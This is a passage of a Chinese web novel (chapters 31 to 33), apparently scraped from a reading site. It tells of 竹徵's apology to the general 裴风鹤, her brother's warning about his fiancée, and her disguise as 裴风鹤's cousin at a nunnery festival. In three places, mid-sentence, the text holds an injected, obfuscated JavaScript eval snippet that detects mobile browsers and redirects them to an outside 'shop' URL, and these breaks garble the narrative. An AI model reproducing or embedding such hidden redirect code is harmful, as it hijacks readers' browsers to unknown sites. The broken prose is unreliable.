而竹徵确实也震惊了一下,她想到当时裴风鹤毫不犹豫地就应下,居然是这样的发展。 想来也是,她情绪不稳,裴风鹤当时好像也问了一句“你是谁”,他们在考虑不同的事,说出来的话也是不过脑子。 但胡娘子依旧说了一句:“将军应当是自愿认下的,他怕你自责太过,还同我叮嘱了几句,但是我想着总不能一直叫你误会他。上回还听那大夫说将军手受伤了呢。” 竹徵刚刚的想法在这一刻崩塌,倏忽之间就觉得自己像被钉在耻辱柱一样,裴风鹤如此照看她,她居然还动手刺了他。 或许是真的要同他去道个歉了。 但是她也很难判断出来自己的想法,她好像总对他有种隐秘的期待,却总又说服自己放弃这种无谓的期望。 她看着今天刚拿绑带缠住的手,耳边环绕着胡娘子刚说的话,“将军是自愿认下的”,“怕你自责太过”…… 她闭上眼,虽然愧疚依旧围绕心头,但更有隐隐的线,扯住她的心,她几乎很快就意识到,今日这样的结果,是因为裴风鹤认为真相不重要。 他知道他们很快就不会再见了,所以自愿做这些。虽然他的认知大概是没有错的,并且她也很乐意这样做,但心里的隐隐的不适总拉扯着她。叫她有些不舒服,但她并不能懂那时一种怎样的情绪。 她帮胡娘子包扎好之后,就踱步出了门,冬天临近,寒意也丝丝浸入骨肉,扎得人不适。 她紧了紧自己的比甲,望着那光秃秃的干枯树枝,心里倒真似这树木,干瘪又杂乱无章。 “无论如何,至少得道个歉。”她想。 迈着步子走到营帐门口,外面守着的将士似乎愣住了,通报了才放她进去。 她手里提着东西,朝那将士点点头方才进入。 裴风鹤见到她其实挺震惊的,才同他闹了脾气,今日这一出着实奇怪。 命人将她放进来后,裴风鹤见到她的那一刻其实呆滞了一下,她今日算是最近穿得最复杂的一次。 身着彩云流水裙,环佩叮当,最近她沉稳了很多,倒是没有再像以前那样蹦蹦跳跳了,但是他总觉得没有以前那种感觉了。 曲如桢一进来,先向他行了个礼,不像是不情不愿的,反而一反常态地将姿态放得很低。 裴风鹤有种之前吵架都没能尝到的酸涩,“不必拘礼。”他用手轻轻触了一下她平摊着行礼的手,犹豫了一瞬,还是坚定地从下方握住她的手,有力地向上抬了一下。 曲如桢倒也没拒绝,利落地起身了,不过依旧没有抬头看他,反而只平视着他的胸口,并不愿意将视线上移。 他为了扶她走近了几步,此时跟她靠的有些近,他能听见她平静的呼吸声,像是在哪里牵引出一条细线,轻轻捆住他悬挂已久的心。 不知道这样愣了多久,空气中都溢出了几分尴尬的气氛,曲如桢才好似反应过来,后撤一步,开口道:“对不起。” 这没由来的一句让裴风鹤也摸不着头脑,只能低头看着她,他们距离拉开后,他能看见她细长的睫羽。 “将军为我着想,是我不识抬举。”曲如桢这才抬头看了一眼他,那眼神里仿佛融了几尺的冰雪,冷淡中又有一丝温暖。 裴风鹤嘴唇翕动了几下,瞬时之间有些无措,却不愿意展露出来,声音刻意压制之间有些暗哑,“无事。” 他眼前浮现出曾经的点点滴滴,认命般地闭上眼睛,用沉重的眼皮掩盖自己眼里的万千情绪:“反正,你同寓平,明日便上路了。” 竹徵望着裴风鹤闭着的眼睛,有些看不透他,从前到如今,便无一点留恋么? 她说服自己,他们就是萍水相逢的两个人,今日之后也必然不会再相见,虽然不懂自己对于裴风鹤到底是什么感情,但是总感觉,有些不舍——毕竟他是她在这世上认识的第一个人,不是吗? 竹徵也没有多说,犹豫了一下,感觉手上的东西仍旧沉重,与其如此不如当断则断,随即便走到一旁,放下那个东西就头也不回地转身了。 “曲如桢。”裴风鹤轻轻地叫住她。 竹徵心里一紧,像是一湾平静的清泉被丢入了一枚石子一样,忽地一下炸开。 她感觉有人拉着她,想让她回头看看,她却仍旧梗着脖子,不愿意遵从本心,拉扯之中,第二句传入她耳中。 “山高水长,一路平安。” 这一句说罢,竹徵的理性终于战胜了感性,她只微微偏头,露出她一如既往飞扬的发丝,落下一句冰冷的:“多谢。” 她迈着步子走出去,只留给身后一串尘埃。 ———— 肖唯安指使下人收拾好东西之后,方才看见曲如桢踏进营帐内。 她周身气息冰冷,仿佛坠入冰窟几天一样。令他都有些不习惯。 他见这妹妹不久,但是从第一天就看出来,她多半是敢爱敢恨的类型,这样子多半跟他的好兄弟裴风鹤有关。 想着前面的事还未同她说,一把拉过她,沉下心问:“我有事要问你。” 曲如桢失焦散落的眼神方才回笼,转到他身上来,“什么事?” 他心里对她这状态很是质疑,不免多了几分担心,但是直说又怕她接受不了,话到嘴边又调了个:“胡娘子还好么?” 她失神的双眼顿时变得精明起来,看来她对胡娘子的事最上心。 她严肃地说:“今日许大哥赶回来了,幸好赶上了,而且胡娘子的状态也在慢慢变好了,我们……明天启程无碍。”说罢便看着他,似是等待他下指令。 肖唯安感受到她的目光,心里却还在想怎么好好同她说裴风鹤的事,心不在焉地用手点着自己的下巴。 “到底怎么了?”看着他的样子,曲如桢似是有点不耐烦了,催促道,眉也不自觉地皱起来了。 肖唯安被她这一逼,只好破罐子破摔,直接说:“我知道你跟裴将军一起经历了很多,而且他确实帮了你很多。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14324059|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曲如桢没像先前那样继续皱着眉,转而眉间一挑,似是很意外他说的话。 肖唯安见这个样子,还是选择相信自己的直觉,直截了当地说:“从他搬到裴府开始,我们就形影不离了,我说实话,他对未婚妻很深情。” 竹徵听到前半段,还知道肖唯安误会了,但后半段她差点叫出来。 什么叫对未婚妻深情?她怎么不知道? 肖唯安见她的表情,似是觉得有作用,要乘胜追击一般继续滔滔不绝:“你也知道唐家二小姐,裴风鹤对她简直是有求必应,之前我就教了唐语蓁几个剑术,就因为差点伤到她,没把我揍得走不动道,但也在府里趴了半个月。” “他之前一跟唐语蓁出去,那心都系在她身上了,他藏拙藏了十年,就因为她喜欢那个玉佩的彩头,上马球场打得名声大躁,后来对方丢了他还一直捡回来带着。” “更别说那一回,没拉住她,让她溺水了——”肖唯安愣了一下,好像发现自己说了什么不该说的,话锋一转,“反正,就算唐语蓁失去记忆,性情大变,他为了责任和那份喜欢,依旧会娶她的,你没希望。” 竹徵听完肖唯安的话,才反应过来,那天见到他常服时佩的玉佩,就是之前马球场上他赢下来的彩头,她后来收下了,应当不会丢了啊? 她不知道此事究竟是如何发展的,但她猜测多半是原主看到那玉佩不喜,所以扔了吧。 肖唯安看到曲如桢这幅出神的样子,心里一凉又一凉,觉得自己这个妹妹肯定是喜欢上了裴风鹤,此刻接受不了现实,只能神游天外。 他不忍,却又觉得不能不唤醒她,她再抱着这种想法,将来也只能是伤心。 “你听我的,喜欢谁哥哥都能给你绑过来,但是他真的不行,裴风鹤此人责任心重,而且有喜欢的人,你就算是强行要嫁过去也落不得好。”肖唯安强行掰过她的脑袋,令她直视着自己。 竹徵被他这操作吓了一跳,眼神里满是惊恐,只能立即将他捧着自己脸的手打下去,解释道:“哥你说什么呢?我不喜欢他,我只是有些怅然罢了。” 肖唯安仍旧是那个怀疑的眼神,一只手轻轻放在她肩上,“你说的,千万不能喜欢他。” 竹徵有些不耐烦了,又伸手将他的手打下来,“真的不会,哥你放心吧。” 肖唯安这才起身,眼中的忧愁仍旧没有消散,心里有万般不愿,但是仍旧无奈地说:“进京后,因为证据没有齐全,我会把你安置在别院,可能……还是得跟裴风鹤一起去查后续的证据,你就别去了。” 竹徵听见这话才一下窜起来,嗓门顿时提高:“不行!” 肖唯安本来勉强压下去的担忧又升起来,“你!” 竹徵心乱如麻,为了穿书者的线索似乎有些太冲动了,但是这个机会她必须得抓住! 她疯狂思考着肖唯安可以接受的理由,一下子软下来,心里像悬着一个大石头般,惴惴不安地说:“我……长时间被困于府中,我一个人天天待在府里害怕。” 32. 第三十二章 商议 肖唯安不知怎么地,忽然想起来,将肖琼华弄丢的那天。 那日是上元节,灯火通明,人头攒动,高高的灯笼挂着,他看着那灯笼,幼时的他憧憬着那样热闹又繁华的街,期望逃离一成不变的功课,只想同狐朋狗友一起在这佳节里逗些趣。 但七岁的他望着稚嫩又笨拙拉着她衣角的手,心里有着说不出的烦闷,微偏头就能看见身后跟着的忠仆,只觉得他们都很烦人。 他设计甩脱了跟着的人,却拿这个小女孩没办法,想着这么多人,将她丢在糖葫芦摊上,总不会弄丢,后面仆人跟上来一下就能发现。 好友已经等了他很久了,今日不去撒欢玩,后面机会就少了,况且——他是真的不喜欢这个妹妹,她太娇弱,总是要哭,也总是要人哄。 他将小女孩抱到糖葫芦摊上,给了摊主钱,转身就要走,不知道这姑娘是不是忽然开了窍,硬是撇下一串糖葫芦要跟着他。 她走路不稳,没走几步便绊了一下,趴在地上就哭起来,那声音,响彻云霄,落在他耳朵里格外刺耳。 他犹豫了一瞬间,还是回头将她扶起来,将她从地上捞起来的时候磕到一个尖角,低头一看才发现,那个玉佩已经被磕出了一个方形的破损。 他摩挲了一下,有点愧疚地想,回去一定赔她个新的,现在带着她也是多生事端,稚嫩的他故意板着脸将她留在那个摊上,头也不回地走了。 那小女孩临了看着他离开的眼神,他一辈子都记得,那是一种怨怪的娇嗔,是捧在手心里小姐的怨怪。 肖唯安看着此刻拉着他的衣袖的曲如桢,岁月在她身上留下的印记太过深刻,甚至都已找不出半分当初的样子,只留下伤痛的清泉任他去怀缅。 尽管已经听说了,但他仍旧很难想象,他的妹妹究竟在那里遭受了怎样的痛苦。午夜梦回,是否也会想起那个上元节,决绝离开的背影?是否也会想起,他临走时随口敷衍的那句“我会来接你的”?是否也会……质问着父母家人为什么抛弃自己,任由他人将她囚禁…… 竹徵见肖唯安半天没有反应,拉着他衣袖的手紧了一下,继而追问,“哥,好不好?” 肖唯安这才回过神来,有些不安地将手收回去,露出一个她从未见过的局促表情,还用手抚了两下自己的袖子,话音里也不知为什么带了几分哽咽,“去,我带着你。” 竹徵听见这话心里的石头才落了地,随即扬起一个阳光的笑容来,“谢谢哥,我先去收拾行李了。”说罢也不管他,蹦蹦跳跳地走了。 肖唯安看见她的背影,心里一直泛着酸,甚至都有些心闷,只能腾出一只手,半弯着腰给自己顺气,当日文静的大家闺秀已经死在了过往十几年的囚禁之中,虽然如今这般简单直接也好,但难免让他心里隐隐作痛。 无论如何,这辈子,他都要护着她。 ———— 冬日已过了大半,今年的雪却还没落下,只有这寒气穿过大大小小的院墙,轻巧却又不留痕迹地粘腻在人身上,连带着呼出的气都瞬间冻成了雾。 但街上却没有因此而变得冷清,反倒雾气升腾得像是在街上蒸满了热气腾腾的包子,人头攒动着。 再过一阵就要过年了,街上卖东西的人也多了起来,平白地为冬日添了几分烟火气息。 钰紫阁内的人也不少,尽是选新春首饰的官家小姐,这里样式时兴又华贵,最是深得小姐们的心。 甚至于钰紫阁内也每日都是进进出出搬东西的,看起来是有人订的多,首饰都是一箱一箱地搬。 现今太后下了懿旨,风气逐渐开放,各位小姐出门都不戴面纱斗笠,反而梳妆打扮漂漂亮亮地上街。 在光鲜亮丽的众多小姐中,有一位戴着面纱的格外特别,眉尾描的那朵海棠格外显眼。 竹徵随意挑拣了几下,簪子样式倒是新奇,出乎她意料的是,确实有很多现代样式的,她拿起一支,上面那蛇形缠绕着那簪身,多了几分异于世俗之外的狂悖。 旁边跟着的女使低眉顺眼地说:“小姐,时间到了。” 竹徵拿起那簪子的手顿了一下,随后轻轻放下,“走吧。” 马车悠悠地前行,时隔四年,竹徵又回到了这里,这座装满各色各样人的城市,算是四年间给她带来温暖的地方。 她抱着汤婆子,热气从其周边往外散,暖得她手热乎乎的。 自从这几天住到别院,肖唯安生怕怠慢她,女使就派了好些个,物件更是置办得不少,只说她现在回不成家,现在这些东西也就是希望她不受委屈。 她没拒绝,只是难免难受,就连成为曲如桢也改不了躲躲藏藏的命运。 她进了京,也听说了些关于裴风鹤的事,第一是皇上亲封他为凌风将军,分了裴国公一部分兵,另做管理。 这毕竟是分给自家孩子,朝堂上和裴国公都没有也不能有意见。 公主带着永宁宫边卫,回去之后朝堂上倒是颇有微词,只不过太后也护着,旁的人也不好多说。 至于张巡那一行人,估计是陛下给裴风鹤单独的任务,确实也没在朝堂上传出相关的消息。 倒是裴风鹤一回来,街头巷尾传遍了关于他的事,少年将军,得胜归朝,又被皇上亲自允了另立府邸,自是深受各家的喜爱,但毕竟之前唐语蓁和裴风鹤的事闹得沸沸扬扬,谁也不愿意先去拉下这个脸来问。 除了这些,竹徵也比较关心什么时候能去找找关于穿书者和拐卖的线索,问了肖唯安几次,他只说在查了,她只能自己去钰紫阁找找,但除了发现钰紫阁平常的出货量很大之外,没有什么特别的线索。 到了别院,听见小厮说肖唯安已经到了,竹徵提着裙子就往府里跑,甚至险些绊了脚。 她在府里待了几天,虽然也不是不能出去逛,但心里藏了事,总归不安稳。 她踉跄地跑道肖唯安面前,给他吓了一跳,连忙撒下手上喝茶的动作,先将她扶住了。 “哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336120|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么样了?”她眼里的期待像天上的星星一样闪亮,舍不得让人抹灭掉。 果然,肖唯安踟躇了一下,还是说:“最近进展不大,裴风鹤受封之后一堆事要忙,我去查了几次,也没什么大发现。” 竹徵低头思考了一下,想起今天的发现,还是说:“我今日去了钰紫阁,发现他们经常搬大箱子出门,按理说不会有人买这么多的。” 肖唯安摆了摆手,“没用,那个我查过了,是他们搬到分铺。” 竹徵却从这微妙的话语里分辨出几分不对,“分铺?分铺在哪?” 肖唯安思考了一下,才忽然想起来,“青松庵你知道吧?就在那附近。” 青松庵是整个京城远近闻名的尼姑庵,京城许多小姐们不愿嫁人,前些时间掀起来出家的风气,都是些官家小姐,身家清白又知书达礼,京城中人有什么要求的,一般都去那。 而且自从五年前,公主去参加青松庵一年一度的庆典后,各家小姐和公子们也都逐大流每次都会去庆典。 竹徵觉得奇怪,青松庵位置再好,也算在城郊,一个首饰铺子开在那里,哪有生意呢? 但肖唯安好似知道她在想什么,拉过她轻声说,“青松庵许愿灵,许多外头来的小姐也特地过去,顺手不就买了,到城里来买,叫京城那些小姐看了,徒遭白眼。” 竹徵听见这话,震惊地睨了肖唯安一眼,不愧是蓝颜知己啊,这些女孩子家的隐秘他都这么明白。 肖唯安被她看得发毛,无措地松开拉着她的手,不自在地咳了两身,将视线转移,“上回,泉州的一个小姐告诉我的。” 竹徵意味深长地看着他,顿了一下,终于忍不住,捂着嘴噗嗤一下笑出来。 肖唯安急的想捂她的嘴,但看了半天不知如何下手,也觉得她那样子好笑,连带着也笑起来。 两兄妹笑了一会,肖唯安才说起正事,“青松庵最近开庆典,按理说,你不该去的,但这事一直没有进展,再拘你在这府里,我怕你闷出病。” “况且上回风鹤同我说,庆典可能有线索,去去看有什么也好。只是……” 竹徵看出肖唯安的犹豫,探头看他,“只是什么?” 肖唯安像是下定了决心,深吸一口气依旧说:“我自小生活在京城,叫你装成我妹妹不合适,但裴风鹤他刚出生那几年不在京城,叫你装成他远房表妹比较恰当。” 竹徵想了想,实在是她也不知道裴风鹤居然不是从小就生活在裴府,他那弟弟妹妹竟也会不知有表妹吗? 但她知道肖唯安这么安排一定有道理,扬起一个笑脸,安抚他:“好呀,正好能去看看那个分铺,哥,我乐意。” 肖唯安看她答应了,反而提了一口气,虽然千不愿万不愿妹妹同裴风鹤接触,但是如今确实没有更好的办法了,让她去同京城里的小姐们接触一下也不是坏事。 他真的再也不愿意看到她眼中跟那年上元节一样,被抛弃的那种眼神了。 33. 第三十三章 准备 裴风鹤刚搬完府后,对着将军府的牌匾怅然若失了一阵。 他终于完成了一直以来的夙愿,可以远离那个黑暗又冰冷的裴府了。 可是不知道为什么,总感觉有点冷清,还不如……四年前的裴府。 他刚回来时,也曾去唐府拜会,唐语蓁见了他,一上来就行礼,他勉强将她扶起,行完礼后说了些以前估计她都听不太懂的话,言语之中大概意思就是自己没准备好,希望延迟婚期。 他自然没有意见,只是他也不知还剩下几分旧情,心里也不免地有几分悲凉。责任于他一直是负担,那么如今跟唐语蓁的关系,究竟是旧情更多还是责任更多,他也无从谈起了。 她总给他一种太迥异的感觉,甚至于他感觉根本同之前的就不是一个人。临走时唐大人给了他一份手信,说是唐语蓁在他戍边时写下的,那个字不像是之前唐语蓁那笨拙的样子能写出来的。 他同唐语蓁相处了一年,虽未见过她的字,却见她握笔不得章法,手却是稳的,不像是从小练过。但她今日这手字柔中带刚,遒劲有力,实在奇怪。 如今只能走一步看一步,终究不能放弃所有,唐语蓁暂时不想成亲,他也只能先等着,似乎他所有选择都是在被推着走,一瞬间又回到了那个冬天。 他以为找到了能够慰藉此生的归宿,可是就如同流沙一般短暂地停留在手心,用尽全力也抓不住,等流逝之后才发现仅剩几颗沙砾硌着手掌,平白增添怅惘。 他在丹山镇,在阳泉镇,在回来路上那一颗暂时跳动的心终于又回归沉寂,不知怎么地忽然怀念起那时来。 不管如何,至少那时没有这么多烦恼,每天查查案子,看着曲如桢跳上跳下。 他猛然意识到这竟然是在想她,一向沉稳的将军,进府门的脚步都仓促了几步,差点被台阶绊了一跤,他踉跄着上了台阶,好不容易稳住脚步,却有几分心有余悸。 终究相处了几天,与其考虑这些事,不如好好想想木樨花纹的后续。他踏了踏脚,觉得自己也没在身体上有什么问题,怎么一个台阶都能绊住他,有些不太理解自己的行为,摇了摇头进府了。 ———— 竹徵为了伪装成裴风鹤的表妹进庆典,被肖唯安按在桌子前复习裴风鹤的家庭关系。 她早就知道的就是裴府这一辈有三个,大公子裴风鹤,二公子裴风祎,小妹妹裴云梨。 除此之外,还有些她不知道的——比如裴风鹤其实是庶子,姨娘生的,后来才算到裴夫人头上,七八岁姨娘死后才回到裴府。 她扮演的就是裴风鹤生母那边的表妹,身份不高,但确实足够让裴风鹤膈应了。 她听着这身份直皱眉头,这不也算是在打裴夫人的脸吗,不说身份高低,曾经那么怕父母失望的裴风鹤,现在也能容许这种事发生? 她看了一眼正给他讲解的肖唯安,对方好似知道她在想什么,搁下毛笔,拍了拍她的肩,“他自己提的,他既说了,我也没意见。” 竹徵在他拍自己肩膀那一刻就想尖叫了,但是硬忍住了,咬牙切齿地盯着他,“哥!这是我新衣服,你手上有墨啊!” 肖唯安这才反应过来,边撒手边还逗弄她,“这样更好看,有没有眼光?” 两兄妹打打闹闹,肖唯安有一瞬间真的感觉回到了四年前,唐语蓁同她不对付,一见面就掐,裴风鹤就在一旁笑看着,只是他回头,已经没有倚在门框旁的身影。终究泡影,过多怀念只剩破碎。 将各种准备都做好,竹徵总算是等到庆典这一天了。 裴风鹤绕到别院先接她,肖唯安另走,她打扮得漂亮又不抢风头,脸上围了一张面纱,只有眉尾那朵海棠依旧。 她上了车,不知道同裴风鹤说什么,只不约而同地缄默。 她确实想问问他,这些年,他到底在想什么,可是她此时确实没有资格也不应该问,于是只能保持沉默。 毕竟是去郊外的路,多少有些颠簸,两位尴尬坐着的人随着这马车靠得越来越近,直到竹徵微站起,想挪到一旁时,马车应是硌到了什么,猛地一颠,竹徵控制不住往前扑去。 她懊恼自己每每碰见这种事都要人接,宁愿往旁边倒,即便头破血流也认了。 裴风鹤却没遂她的愿,看到她要往旁边摔了,就伸手她偏移的身体捞过来,稳稳地扶住。 那一刻裴风鹤实在离得近,柔软的面纱吹到了他脸上,留下细密柔软的触感,像是谁拿手轻抚了一下,又一触即离,他愣了一会,感受着那抹微凉。直到竹徵自己站好,他才反应过来礼貌地收回手,“不会……让你再摔了。” 竹徵方才偏过头看见裴风鹤的眼睛,那是令她有些意外的平静,宁静无波的河底总让人觉得暗流涌动,不敢踏进。她现在才算是真的明白,裴风鹤同她已经到了京城,在这里他可以是她的表哥,却不会是别的。 她吸了一口气,那熟悉的檀香中的一丝桂花香牵引出了她的记忆,裴风鹤平日在军队应是不熏香的,她已经很久没有闻到这个味道了。 乍一下闻到还有点不习惯,却令她又想到唐语蓁,赶紧弯着腰往后挪了一点,能离他多远就多远。 她挑了个不远不近的位置,端坐下,转移自己的心绪,想着今天实在不能太暴露自己的性格。 下马车时裴风鹤本要扶她,却被她躲过了,自己跳下了车,倒也不是赌气,就是感觉不能再像现在这样有些依赖他了。 却又在裴风鹤嘴角见到了那偷偷摸摸扬起的嘴角。她实在觉得奇怪,青楼前也是,他每次笑,她都摸不着头脑,权当他是发疯,不管不顾地往前走。 小姐和公子在这庆典里倒是不需要分为两拨,反而是一同诵经。但此时客人还没有完全到位,他们只能先在暂时安置男宾和女宾的地方候着。 竹徵刚踏进青松庵的门,就看见候在门口翘首以盼的肖唯安,他兴许是担心她,但是有裴风鹤陪着,她实在是不知道这个便宜哥哥在担忧什么。 看到她的那一刻他也没放下心来,不知为什么,视线落到她的肩膀旁,对方好似松了一口气。她随着对方的视线扭过头,只能看见保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347453|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离并肩而立的裴风鹤,并不知道肖唯安是在看什么。 她没管肖唯安,对方却先贴上来,先向她使了个眼色,却没有再看他,反倒贴着裴风鹤,走过场般问了问最近怎么样,她是谁这类话。 她向后看了一眼,倒是那假的肖琼华虽然在同其他小姐交谈,但是一直望着这边,她微抬眼视线交错的一瞬间,对方朝她扬了一个友善的笑容,她却将视线转移。 知道我是谁,你就笑不出来了,她想。她无意为难假千金,这也不是她的本意。只可惜,多半有人授意假千金做这件事,不会轻易放手,到最后能否两全还存疑。 她微笑着向肖唯安点头,随后便跟在裴风鹤后面,走到交谈的小姐们身边。 肖琼华却没有因为她先前的行为而冷落她,反而拉过她来,一手挽过她,亲昵地说:“这位就是哥哥说的曲小姐吧?听说你是裴将军的表妹?” 她现在已经不是唐语蓁了,再不给面子就是不适好歹了,于是后撤一步,先向各位小姐行了个礼,才低眉顺眼地说:“劳肖公子挂念,妾身是沾了表哥的光。” 肖琼华笑出声来,用手帕掩住自己的笑容,待她行完礼才连忙上前轻拍了拍她举起的手,“妹妹这话就见外了。” 竹徵有些不满她居高临下地宽慰和原谅,但是虎狼环饲,在这本书里,很多事也由不得她。 于是依旧低着头,退到了肖琼华身后,小姐们的话题一直在那位太后侄子宗文德身上,她乐得自在,环视着这前院。 她看见小姐们的身后,有一个熟悉又冰冷的身影——安小姐! 她依旧偏爱清冷颜色,一身碧落色的衣裙,静静地站在那里就像一座矗立的冰山,锋利又美丽,她对小姐们的话题不敢兴趣,只一贯地站在最边上,眼神迷离不知在想什么。 竹徵有些想蹭过去同她说话,但考虑到现在的身份终究是作罢了,只也远远地坠在人群斜角。 旁边的肖唯安看到这幅场景,心知她身份不高,小姐们内部有意排挤,气不打一处来,随即便要走过去,却被裴风鹤一把拉住。 他在肖唯安耳边悄声说:“寓平,你妹妹可比你沉得住气,放心。” 肖唯安不太舒服地挣开他的手,有些无奈地移开目光,他当然知道裴风鹤说的有道理,可是他还是心疼她。 竹徵却没想这么多,小姐们的话题不知怎么地移到了裴风鹤身上,她忽地成了话题中心,她们带着鄙夷的目光说着她的身世,却又殷切地问她关于裴风鹤的消息。 裴风鹤母亲是姨娘的事算是秘辛,但大家都是半大的人精,多少知道一点,顶多不拿在台面上说,嘲讽的目光却不掩。 看到她拿面纱掩着面,说自己面目有损,就更没人看得上了,话里话外都是贬低,就连肖小姐也是开口明褒暗贬。 她有些疲于应付,想着在这还得待很久,不如先行告退去探探那个钰紫阁的分铺,于是借着表情被面纱掩盖,将头低下准备告退。 忽然不知谁说了一句,引得所有人侧目,“唐家二小姐来了!”